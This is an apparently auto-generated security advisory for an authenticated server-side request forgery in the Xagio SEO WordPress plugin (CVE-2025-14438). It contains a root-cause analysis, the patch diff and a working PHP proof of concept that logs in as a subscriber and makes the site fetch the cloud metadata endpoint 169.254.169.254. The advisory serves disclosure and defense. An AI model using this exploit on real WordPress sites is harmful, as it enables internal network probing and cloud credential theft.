Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14438: Xagio SEO <= 7.1.0.30 – Authenticated (Subscriber+) Server-Side Request Forgery (xagio-seo)

Plugin xagio-seo
Severity Medium (CVSS 6.4)
CWE 918
Vulnerable Version 7.1.0.30
Patched Version 7.1.0.31
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14438:
The Xagio SEO WordPress plugin contains an authenticated Server-Side Request Forgery (SSRF) vulnerability in its pixabayDownloadImage function. This flaw allows users with Subscriber-level permissions or higher to force the application to make arbitrary HTTP requests to internal and external systems. The vulnerability stems from insufficient validation of user-supplied URLs and inadequate capability checks.

Root Cause: The vulnerability resides in the pixabayDownloadImage function within the file xagio-seo/modules/seo/models/xagio_tinymce.php. The function accepted user-controlled input via the POST parameter ‘img’ without proper host validation. It passed this input directly to the fetch_image method, which used wp_remote_get without safe mode restrictions. The function also lacked proper capability checks, allowing users with the ‘subscriber’ role to trigger the AJAX action. The vulnerable code path started at line 73 in the patched version, where the function performed only a nonce check before processing the URL.

Exploitation: An authenticated attacker with Subscriber privileges sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘pixabayDownloadImage’. The request includes a valid WordPress nonce (obtainable from any page where the plugin loads) and the malicious target URL in the ‘img’ parameter. The ‘title’ parameter can be any string. The plugin then fetches the attacker-controlled URL and attempts to save it as an image attachment. This allows probing internal network services, accessing metadata from cloud instances, or interacting with internal APIs.

Patch Analysis: The patch introduces multiple security layers. First, it adds a capability check requiring the ‘upload_files’ capability (line 76), which restricts the function to users with at least Author-level permissions. Second, it implements strict host validation (lines 84-103), allowing only requests to pixabay.com, www.pixabay.com, and cdn.pixabay.com. Third, it replaces wp_remote_get with wp_safe_remote_get (line 160) and validates the response Content-Type header. Fourth, it adds proper parameter sanitization using esc_url_raw and additional empty checks. These changes collectively prevent SSRF by blocking non-Pixabay URLs and restricting access to higher-privileged users.

Impact: Successful exploitation enables attackers to make outbound HTTP requests from the vulnerable WordPress instance. This can lead to information disclosure from internal services, including cloud metadata endpoints (like AWS IMDS), internal APIs, or database administration interfaces. Attackers can also use the vulnerability to perform port scanning of internal networks or interact with services that accept HTTP-based commands. While the response content is processed as an image, error messages or timing differences can reveal information about internal systems.

Differential between vulnerable and patched code

Code Diff
--- a/xagio-seo/inc/xagio_core.php
+++ b/xagio-seo/inc/xagio_core.php
@@ -232,7 +232,6 @@
                     'domain'          => XAGIO_DOMAIN,
                     'uploads_dir'     => wp_upload_dir(),
                     'connected'       => XAGIO_CONNECTED,
-                    'api_key'         => XAGIO_API::getAPIKey(),
                     'nonce'           => wp_create_nonce('xagio_nonce'),
                     '_wpnonce'        => wp_create_nonce('elementor_revert_kit'),
                     'elementor_nonce' => wp_create_nonce('elementor_ajax')
--- a/xagio-seo/modules/ocw/models/xagio_ocw.php
+++ b/xagio-seo/modules/ocw/models/xagio_ocw.php
@@ -745,6 +745,8 @@
                                     $xagio_updatedBlocks = self::gutenbergApplyTexts($xagio_blocks, $xagio_decoded_output);
                                     $xagio_newContent    = serialize_blocks($xagio_updatedBlocks);

+                                    self::xagio_fix_agentx_gutenberg_menu();
+
                                     wp_update_post([
                                         'ID'           => $post_id,
                                         'post_content' => $xagio_newContent,
@@ -1923,7 +1925,7 @@
                 $xp = new DOMXPath($dom);

                 $block = 'self::h1 or self::h2 or self::h3 or self::h4 or self::h5 or self::h6 or self::p or self::li or self::figcaption or self::label';
-                $inline = 'self::a or self::button or self::span';
+	            $inline = 'self::a or self::button or self::span or self::strong or self::em or (self::div[contains(@class, "kb-count-up-title")])';

                 // Same selection strategy as the extractor
                 $nodes = [];
@@ -2242,6 +2244,140 @@
             }
         }

+        private static function xagio_fix_agentx_gutenberg_menu() {
+            global $wpdb;
+
+            // Find latest published kadence_navigation with exact post_title
+            $post_id = (int) $wpdb->get_var(
+                $wpdb->prepare(
+                    "SELECT ID
+             FROM {$wpdb->posts}
+             WHERE post_type = %s
+               AND post_status = 'publish'
+               AND post_title = %s
+             ORDER BY post_date_gmt DESC
+             LIMIT 1",
+                    'kadence_navigation',
+                    'Header Menu'
+                )
+            );
+
+            if (!$post_id) return false;
+
+            $header = get_post($post_id);
+            if (!$header || $header->post_type !== 'kadence_navigation' || $header->post_status !== 'publish') return false;
+
+            if (!function_exists('parse_blocks') || !function_exists('serialize_blocks')) return false;
+
+            $blocks = parse_blocks($header->post_content);
+            if (!is_array($blocks) || empty($blocks)) return false;
+
+            $modified = false;
+
+            $clean_label = function($label) {
+                $label = (string) $label;
+                $label = preg_replace('/^s*Agents*X[^p{L}]*/iu', '', $label);
+                return trim($label);
+            };
+
+            $normalize_url = function($url) {
+                $url = trim((string)$url);
+                if ($url === '/home' || $url === '/home/') return '/';
+                return $url;
+            };
+
+            $force_custom = function(array &$attrs, $new_label, $new_url) {
+                $attrs['label'] = $new_label;
+                $attrs['url']   = $new_url;
+                $attrs['kind']  = 'custom';
+
+                // Remove entity pointers so Kadence can't re-resolve URL
+                foreach (['id','ID','postId','postID','objectId','objectID','type','subtype','taxonomy','termId','termID','slug','link','href','uuid'] as $k) {
+                    if (array_key_exists($k, $attrs)) unset($attrs[$k]);
+                }
+            };
+
+            $walk = function (&$b, $in_service = false) use (&$walk, &$modified, $clean_label, $normalize_url, $force_custom) {
+                if (!is_array($b)) return;
+
+                if (($b['blockName'] ?? '') === 'kadence/navigation-link') {
+                    $label_raw = $b['attrs']['label'] ?? '';
+                    $url_raw   = $b['attrs']['url'] ?? '';
+
+                    $label = $clean_label($label_raw);
+                    $norm  = strtolower($label);
+                    $url   = $normalize_url($url_raw);
+
+                    // remove Agent X prefix if present
+                    if ($label !== (string)$label_raw) {
+                        $b['attrs']['label'] = $label;
+                        $modified = true;
+                    }
+
+                    // Home: force custom "/" and label "Home"
+                    if ($norm === 'home') {
+                        $force_custom($b['attrs'], 'Home', '/');
+                        $modified = true;
+                    }
+
+                    // Service parent: force custom "#", and mark subtree
+                    if ($norm === 'service' || $norm === 'services') {
+                        $desired = ($norm === 'services') ? 'Services' : 'Service';
+                        $force_custom($b['attrs'], $desired, '#');
+                        $modified = true;
+                        $in_service = true;
+                    } else {
+                        // Children of Service dropdown => '#'
+                        if ($in_service) {
+                            $cur_label = (string)($b['attrs']['label'] ?? $label_raw);
+                            $force_custom($b['attrs'], $cur_label, '#');
+                            $modified = true;
+                        } else {
+                            // Normalize /home/ => /
+                            if ($url !== (string)$url_raw) {
+                                $b['attrs']['url'] = $url;
+                                $modified = true;
+                            }
+                        }
+                    }
+                }
+
+                if (!empty($b['innerBlocks']) && is_array($b['innerBlocks'])) {
+                    foreach ($b['innerBlocks'] as &$child) {
+                        $walk($child, $in_service);
+                    }
+                    unset($child);
+                }
+            };
+
+            foreach ($blocks as &$root) {
+                $walk($root, false);
+            }
+            unset($root);
+
+            if (!$modified) return false;
+
+            $new_content = serialize_blocks($blocks);
+
+            $upd = wp_update_post([
+                'ID'           => $post_id,
+                'post_content' => $new_content,
+            ], true);
+
+            if (is_wp_error($upd)) return false;
+
+            // Optional: help invalidate caches
+            clean_post_cache($post_id);
+            if (function_exists('wp_cache_flush')) {
+                wp_cache_flush();
+            }
+
+            return true;
+        }
+
+
+
+
         private static function xagio_process_manifest_array(array $manifest, ?string $extracted_uploads_dir) {
             $posts       = is_array($manifest['posts'] ?? null) ? $manifest['posts'] : [];
             $attachments = is_array($manifest['attachments'] ?? null) ? $manifest['attachments'] : [];
--- a/xagio-seo/modules/seo/models/xagio_tinymce.php
+++ b/xagio-seo/modules/seo/models/xagio_tinymce.php
@@ -73,39 +73,75 @@

         public static function pixabayDownloadImage()
         {
-
             check_ajax_referer('xagio_nonce', '_xagio_nonce');

-            if (!isset($_POST['img'], $_POST['title'])) {
-                wp_die('Required parameters are missing.', 'Missing Parameters', ['response' => 400]);
+            // Block Subscribers / low-privilege users
+            if ( ! is_user_logged_in() || ! current_user_can('upload_files') ) {
+                xagio_json('error', 'Forbidden.');
+            }
+
+            if (empty($_POST['img']) || empty($_POST['title'])) {
+                xagio_json('error', 'Required parameters are missing.');
             }

             $uploads   = wp_upload_dir();
-            $image_url = sanitize_text_field(wp_unslash($_POST['img']));
-            $xagio_name      = sanitize_text_field(wp_unslash($_POST['title'])) . '.jpg';
+            $image_url = esc_url_raw(wp_unslash($_POST['img']));
+            $title     = sanitize_text_field(wp_unslash($_POST['title']));
+
+            if (empty($image_url) || empty($title)) {
+                xagio_json('error', 'Invalid parameters.');
+            }
+
+            // Allow Pixabay only
+            $allowed_hosts = [
+                'pixabay.com',
+                'www.pixabay.com',
+                'cdn.pixabay.com'
+            ];
+
+            $parts  = wp_parse_url($image_url);
+            $host   = strtolower($parts['host'] ?? '');
+            $scheme = strtolower($parts['scheme'] ?? '');
+
+            if (!$host || !in_array($host, $allowed_hosts, true)) {
+                xagio_json('error', 'Invalid image source.');
+            }
+
+            if (!in_array($scheme, ['http', 'https'], true)) {
+                xagio_json('error', 'Invalid image URL.');
+            }
+
+            $xagio_name = $title . '.jpg';
+            $filename   = wp_unique_filename($uploads['path'], $xagio_name, NULL);

-            $filename            = wp_unique_filename($uploads['path'], $xagio_name, $unique_filename_callback = NULL);
             $wp_file_type        = wp_check_filetype($filename, NULL);
-            $full_path_file_name = $uploads['path'] . "/" . $filename;
+            $full_path_file_name = trailingslashit($uploads['path']) . $filename;

             $image_string = self::fetch_image($image_url);

-            $fileSaved = xagio_file_put_contents($uploads['path'] . "/" . $filename, $image_string);
+            if ($image_string === false || $image_string === '') {
+                xagio_json('error', 'Failed to download image.');
+            }
+
+            $fileSaved = xagio_file_put_contents($full_path_file_name, $image_string);
             if (!$fileSaved) {
                 xagio_json('error', 'Cannot save this selected image to server. Please contact support.');
             }

             $attachment = [
-                'post_mime_type' => $wp_file_type['type'],
+                'post_mime_type' => $wp_file_type['type'] ?: 'image/jpeg',
                 'post_title'     => preg_replace('/.[^.]+$/', '', $filename),
                 'post_content'   => '',
                 'post_status'    => 'inherit',
-                'guid'           => $uploads['url'] . "/" . $filename,
+                'guid'           => trailingslashit($uploads['url']) . $filename,
             ];
-            $attach_id  = wp_insert_attachment($attachment, $full_path_file_name, 0);
+
+            $attach_id = wp_insert_attachment($attachment, $full_path_file_name, 0);
             if (!$attach_id) {
+                wp_delete_file($full_path_file_name);
                 xagio_json('error', 'Failed save this selected image into the database. Please contact support.');
             }
+
             require_once(ABSPATH . 'wp-admin/includes/image.php');
             $attach_data = wp_generate_attachment_metadata($attach_id, $full_path_file_name);
             wp_update_attachment_metadata($attach_id, $attach_data);
@@ -125,30 +161,29 @@
         {
             if (function_exists("curl_init")) {
                 return self::curl_fetch_image($xagio_url);
-            } else if (ini_get("allow_url_fopen")) {
-                return self::fopen_fetch_image($xagio_url);
             }
+
+            return false;
         }

         public static function curl_fetch_image($xagio_url)
         {
-            $xagio_response = wp_remote_get($xagio_url, [
+            $resp = wp_safe_remote_get($xagio_url, [
                 'timeout' => 10,
-                // Adjust the timeout as needed
+                'redirection' => 2,
+                'headers' => ['Accept' => 'image/*'],
             ]);

-            if (is_wp_error($xagio_response)) {
-                return false; // Or handle the error as needed
+            if (is_wp_error($resp)) {
+                return false;
             }

-            $image = wp_remote_retrieve_body($xagio_response);
-            return $image;
-        }
+            $content_type = wp_remote_retrieve_header($resp, 'content-type');
+            if (!$content_type || stripos($content_type, 'image/') !== 0) {
+                return false;
+            }

-        public static function xagio_fopen_fetch_image($xagio_url)
-        {
-            $image = xagio_file_get_contents($xagio_url, FALSE);
-            return $image;
+            return wp_remote_retrieve_body($resp);
         }


--- a/xagio-seo/modules/settings/page.php
+++ b/xagio-seo/modules/settings/page.php
@@ -2806,6 +2806,9 @@
         <figure>
             <img class="screenshot" alt="screenshot" src=""/>
         </figure>
+
+        <span class="template-platform xagio-flex m-t-10 gap-5"></span>
+
         <div class="actions xagio-flex-row xagio-align-center xagio-space-between m-t-20 gap-10">
             <!-- add activate, preview buttons -->
             <div class="template-name">
--- a/xagio-seo/modules/test/page.php
+++ b/xagio-seo/modules/test/page.php
@@ -1,25 +0,0 @@
-<?php
-/**
- * Type: SUBMENU
- * Page_Title: Developer Test
- * Menu_Title: Developer Test
- * Capability: manage_options
- * Slug: xagio-test
- * Parent_Slug: xagio-dashboard
- * Icon: /assets/img/logo-menu-xagio.webp
- * JavaScript: xagio_tagsinput
- * Css: xagio_animate,xagio_tagsinput
- * Position: 999
- * Version: 1.0.0
- */
-if (!defined('ABSPATH'))
-    exit; // Exit if accessed directly
-?>
-<!-- HTML STARTS HERE -->
-<div class="xagio-content-wrapper">
-
-    <h1>Developer Testing Page - Ignore</h1>
-    <?php
-
-    ?>
-</div>
 No newline at end of file
--- a/xagio-seo/xagio-seo.php
+++ b/xagio-seo/xagio-seo.php
@@ -3,7 +3,7 @@
  * Plugin Name: Xagio SEO - AI Powered SEO
  * Plugin URI: https://xagio.net/
  * Description: WordPress Management & AI Search Engine Optimization combined. Do everything from a single location with one software.
- * Version: 7.1.0.30
+ * Version: 7.1.0.31
  * Author: Xagio
  * Author URI: https://xagio.com
  * License: GPLv3 or later

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14438 - Xagio SEO <= 7.1.0.30 - Authenticated (Subscriber+) Server-Side Request Forgery

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber';
$password = 'password';
$internal_target = 'http://169.254.169.254/latest/meta-data/';

// Step 1: Authenticate and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);

// Step 2: Extract nonce from admin page (simplified - in reality you'd parse the page)
// The nonce is available in JavaScript variables when the plugin loads
// This example assumes you've manually extracted a valid nonce
$nonce = 'EXTRACTED_NONCE_HERE'; // Replace with actual nonce from xagio_nonce

// Step 3: Exploit SSRF via pixabayDownloadImage AJAX action
$payload = [
    'action' => 'pixabayDownloadImage',
    '_xagio_nonce' => $nonce,
    'img' => $internal_target, // Internal URL to probe
    'title' => 'exploit'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_RETURNTRANSFER => true,
]);

$result = curl_exec($ch);
curl_close($ch);

// The response may contain error messages or timing information
// Even if the image processing fails, the request was made
echo "SSRF attempt completed. Response: " . htmlspecialchars($result);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School